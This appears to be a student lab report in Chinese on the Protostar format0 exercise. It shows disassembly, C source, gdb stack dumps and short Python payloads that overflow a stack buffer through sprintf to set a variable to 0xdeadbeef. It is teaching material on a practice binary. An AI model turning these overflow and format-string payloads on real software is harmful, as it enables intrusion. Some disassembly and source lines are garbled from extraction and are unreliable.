CS3312 Lab Report Format0

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源码分析

```
x86汇编代码(由objdump得到):
080483f4 <vuln>:
80483f4:
                                      push
                                             %ebp
80483f5:
               89 e5
                                      mov
                                             %esp,%ebp
80483f7:
               <mark>83</mark> ec 68
                                      sub
                                             $0x68,%esp
80483fa:
               c7 45 f4 00 00 00 00
                                             $0x0,-0xc(%ebp)
                                      movl
 8048401:
               8b 45 08
                                      mov
                                             0x8(%ebp),%eax
8048404:
               89 44 24 04
                                             %eax,0x4(%esp)
                                      mov
               8d 45 b4
8048408:
                                      lea
                                             -0x4c(%ebp),%eax
804840b:
               89 04 24
                                             %eax,(%esp)
                                      mov
804840e:
               e8 ed fe ff ff
                                      call
                                            8048300 sprintf@plt>
8048413:
               8b 45 f4
                                             -0xc(%ebp).%eax
                                      mov
                                             $0xdeadbeef,%eax
8048416:
               3d ef be ad de
                                      cmp
                                             8048429 <vuln+0x35>
804841h:
               75 0c
                                      jne
               c7 04 24 10 85 04 08
                                             $0x8048510,(%esp)
804841d:
                                      movl
8048424:
               e8 07 ff ff ff
                                      call
                                             8048330 <puts@plt>
 8048429:
               с9
                                      leave
804842a:
               c3
                                      ret
0804842b <main>:
804842b:
                                      push
                                             %ebp
 804842c:
               <mark>89</mark> e5
                                             %esp,%ebp
804842e:
               83 e4 f0
                                      and
                                             $0xfffffff0,%esp
8048431:
               83 ec 10
                                      sub
                                             $0x10,%esp
8048434:
               8b 45 0c
                                             0xc(%ebp),%eax
                                      mov
8048437:
               83 c0 04
                                             $0x4,%eax
                                      bhs
                                             (%eax),%eax
804843a:
               8b 00
                                      mov
804843c:
               89 04 24
                                      mov
                                             %eax, (%esp)
               e8 b0 ff ff ff
804843f:
                                             80483f4 <vuln>
                                      call
8048445:
               с3
                                      ret
8048444:
               c9
                                      leave
C语言源代码:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln(char *string)
   volatile int target:
   char buffer[64];
   target = 0;
   sprintf(buffer, string);
   if(target == 0xdeadbeef) {
       printf("you have hit the target correctly :)\n");
int main(int argc, char **argv)
   vuln(argv[1]);
这其实是个典型的栈溢出漏洞,和format关系不大。在vuln函数中,sprintf函数的第一个参数是一个栈上的buffer,第二个参数是用户输入的字符串,这个字符串会被写入到
buffer中。由于没有对用户输入的长度进行检查,所以用户可以输入任意长度的字符串,从而覆盖栈上的其他数据。在这个程序中,我们可以通过覆盖target的值为
0xdeadbeef来触发漏洞。
 • 变量位置确定:
```

movl \$0x0,-0xc(%ebp)

可以看出,target变量的位置是ebp-0xc 从C语言代码中,我们可以先假设target的位置就在buffer的后面,构造一个测试的攻击脚本,然后在gdb里再具体确定buffer和

GDB调试

从这句汇编

target的位置。

```
测试攻击脚本:

buffer = 'A' * 64
modified = '\xef\xbe\xad\xde'
padding = buffer + modified
print padding
```

c7 45 f4 00 00 00 00

```
root@protostar:/opt/protostar/bin# gdb ./format0
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLV3+: GNU GPL version 3 or later <a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<a href="http://www.gnu.org/software/gdb/bugs/>...">http://www.gnu.org/software/gdb/bugs/>...</a>
Reading symbols from /opt/protostar/bin/format0...done.
(gdb) set args 'cat ./format0_input'
```

在vuln函数中,执行完参数输入指令后,我们打印栈的状态以及\$ebp的值:

```
0xbffffbac
0xbffffb90:
                                    0xbffffdf3
                                                     0x080481e8
                                                                        0xbffffc28
0xbffffba0:
                 0xb7fffa54
                                    0×00000000
                                                     0xb7fe1b28
                                                                        0x41414141
0xbffffbb0:
                  0x41414141
                                    0x41414141
                                                      0x41414141
                                                                        0x41414141
0xbffffbc0:
0xbffffbd0:
                 0x41414141
                                    0x41414141
                                                     0x41414141
                                                                        0x41414141
                 0x41414141
                                    0x41414141
                                                     0x41414141
                                                                        0x41414141
                  0x41414141
                                    0x41414141
                                                      0x41414141
                 0xb7fd8300
0xbffffdf3
                                   0xb7fd7ff4
0xb7ff1040
                                                     0xbffffc18
0x0804846b
0xbffffbf0:
                                                                        0x08048444
                                                                        0xb7fd7ff4
0xbffffc00:
(gdb) p $ebp
$1 = (void *) 0xbffffbf8
(gdb)
```

可以看到, \$ebp = 0xbffffbf8 , \$ebp - 0xc = 0xbffffbec ,所以 target 的位置是 0xbffffbec ,正好就是图中 target 的任置,我们的假设是正确的

```
(gdb) c
Continuing.
you have hit the target correctly :)

Program exited with code 045.
```

可以看到攻击成功,程序输出了 you have hit the target correctly :), 说明我们成功地修改了 target 的值为 0xdeadbeef 。

等等! 题目说输入应当小于 10 字节, 好吧我们改一下

攻击脚本内容

```
script_format0.py:
buffer = '%64d'
modified = '\xef\xbe\xad\xde'
padding = buffer + modified
print padding

在终端中运行:
./format0 $(python script_format0.py)
```

结果(非GDB环境)

```
root@protostar:/opt/protostar/bin# ./format0 $(python script_format0.py )
you have hit the target correctly :)
root@protostar:/opt/protostar/bin# |
```

攻击成功